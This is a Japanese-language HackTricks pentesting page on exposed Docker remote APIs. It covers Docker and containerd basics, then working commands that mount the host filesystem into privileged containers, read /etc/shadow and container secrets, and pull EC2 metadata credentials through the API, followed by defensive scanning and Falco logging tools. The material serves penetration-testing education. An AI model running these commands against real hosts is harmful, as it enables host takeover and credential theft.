hacktricks/src/network-services-pentesting/2375-pentesting-docker.md

316 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 2375, 2376 Pentesting Docker
{{#include ../banners/hacktricks-training.md}}
### Dockerの基本
#### とは
Dockerは**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来型**にわたるアプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。
#### 基本的なDockerアーキテクチャ
- [**containerd**](http://containerd.io): これはコンテナの**ライフサイクルの包括的な管理**を担当する**コアランタイム**です。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**を監督することが含まれます。**containerdに関する詳細な情報**は**さらに探求されます**。
- **container-shim**は、**ヘッドレスコンテナ**の処理において重要な役割を果たし、コンテナが初期化された後に**runc**からシームレスに引き継ぎます。
- [**runc**](http://runc.io): **軽量で汎用的なコンテナランタイム**機能で評価されているruncは、**OCI標準**に準拠しています。これは、**OCIガイドライン**に従ってコンテナを**起動および管理する**ためにcontainerdによって使用され、元の**libcontainer**から進化しました。
- [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進する**ために不可欠であり、**効率的な相互作用**を確保します。
- [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージの**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠しています**。
#### 基本コマンド
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を**簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化します。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。
重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキングSDNやサービスディスカバリーなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームによってネットワーキングの側面を管理させます。
**DockerがContainerdを利用して**コンテナを実行する一方で、ContainerdはDockerの機能のサブセットのみをサポートしていることに注意が必要です。具体的には、ContainerdはDockerに存在するネットワーク管理機能を欠いており、Dockerスウォームの作成を直接サポートしていません。この違いは、Containerdがコンテナランタイム環境としての焦点を絞った役割を持ち、統合するプラットフォームにより専門的な機能を委任していることを強調しています。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
#### Podman
**Podman**は、Red Hatによって開発および維持されているオープンソースのコンテナエンジンで、[Open Container Initiative (OCI) standards](https://github.com/opencontainers)に準拠しています。**デーモンレスアーキテクチャ**や**ルートレスコンテナ**のサポートなど、Dockerとは異なるいくつかの特徴があります。これにより、ユーザーはルート権限なしでコンテナを実行できます。
PodmanはDockerのAPIと互換性があるように設計されており、Docker CLIコマンドを使用できます。この互換性は、コンテナイメージを構築するための**Buildah**や、プッシュ、プル、インスペクトなどのイメージ操作のための**Skopeo**などのツールを含むエコシステムにまで及びます。これらのツールの詳細は、[GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)で確認できます。
**主な違い**
- **アーキテクチャ**: Dockerのクライアント-サーバーモデルとは異なり、Podmanはデーモンなしで動作します。この設計により、コンテナはそれを起動したユーザーの権限で実行され、ルートアクセスの必要がなくなることでセキュリティが向上します。
- **Systemd統合**: Podmanは**systemd**と統合されており、systemdユニットを通じてコンテナを管理できます。これは、Dockerが主にDockerデーモンプロセスの管理にsystemdを使用するのとは対照的です。
- **ルートレスコンテナ**: Podmanの重要な機能は、起動ユーザーの権限でコンテナを実行できることです。このアプローチにより、攻撃者が得るのは侵害されたユーザーの権限のみであり、ルートアクセスは得られないため、コンテナ侵害に伴うリスクが最小限に抑えられます。
Podmanのアプローチは、ユーザー権限管理と既存のDockerワークフローとの互換性を強調し、Dockerに対する安全で柔軟な代替手段を提供します。
> [!NOTE]
> podmanはdockerと同じAPIをサポートすることを目指しているため、以下のようにpodmanでdockerと同じコマンドを使用できます
>
> ```bash
> podman --version
> podman info
> pdoman images ls
> podman ls
> ```
### 基本情報
リモートAPIは、デフォルトで2375ポートで実行されます。サービスはデフォルトで認証を必要とせず、攻撃者が特権のあるdockerコンテナを起動できるようになります。リモートAPIを使用することで、ホストのルートディレクトリをコンテナにアタッチし、ホスト環境のファイルを読み書きできます。
**デフォルトポート:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
### 列挙
#### 手動
docker APIを列挙するには、次の例のように`docker`コマンドまたは`curl`を使用できます:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスとやり取りするために、以前にコメントされた**docker**の[**コマンド**](2375-pentesting-docker.md#basic-commands)を**実行**できます。
> [!NOTE]
> `export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**回避**できます。
**迅速な特権昇格**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
時々、**TLS** エンドポイントで **2376** が稼働しているのを見かけます。docker クライアントで接続することはできませんでしたが、curl を使って接続することは可能です。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
この件についての詳細情報が必要な場合、コマンドをコピーした場所に詳細情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### 自動
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
### コンプロマイズ
次のページでは、**Dockerコンテナからの脱出方法**を見つけることができます:
{{#ref}}
../linux-hardening/privilege-escalation/docker-security/
{{#endref}}
これを悪用することで、コンテナから脱出することが可能です。リモートマシンで弱いコンテナを実行し、それから脱出してマシンをコンプロマイズすることができます:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### 特権昇格
dockerを使用しているホスト内にいる場合、[**特権を昇格させるためにこの情報を読むことができます**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket)。
### 実行中のDockerコンテナ内の秘密を発見する
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
**env**(環境変数セクション)をチェックして秘密情報を探すと、以下のものが見つかるかもしれません:
- パスワード。
- IPアドレス。
- ポート。
- パス。
- その他… 。
ファイルを抽出したい場合:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Dockerのセキュリティ
#### Dockerのインストールと使用のセキュリティ
- 現在のdockerインストールを検査するために、ツール[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)を使用できます。
- `./docker-bench-security.sh`
- 現在のdockerインストールを検査するために、ツール[https://github.com/kost/dockscan](https://github.com/kost/dockscan)を使用できます。
- `dockscan -v unix:///var/run/docker.sock`
- 異なるセキュリティオプションで実行されるコンテナが持つ権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
- `docker run --rm -it r.j3ss.co/amicontained`
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Dockerイメージのセキュリティ
- 他のdockerイメージをスキャンして脆弱性を見つけるために、[https://github.com/quay/clair](https://github.com/quay/clair)のdockerイメージを使用できます。
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Dockerfileのセキュリティ
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用できます。各誤設定にはIDが付与され、各誤設定の修正方法はここ[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)で確認できます。
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)を使用できます。
- `dockerfilelint Dockerfile`
![](<../images/image (212).png>)
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)を使用できます。
- `dockerlint Dockerfile`
![](<../images/image (71).png>)
- あなたのDockerfileを**検査**し、あらゆる種類の誤設定を見つけるために、ツール[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)を使用できます。
- `hadolint Dockerfile`
![](<../images/image (501).png>)
#### 疑わしい活動のログ記録
- 実行中のコンテナでの**疑わしい行動**を検出するために、ツール[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)を使用できます。
- 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを開始します**。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
#### Dockerの監視
auditdを使用してDockerを監視できます。
### 参考文献
- [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
- [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
{{#include ../banners/hacktricks-training.md}}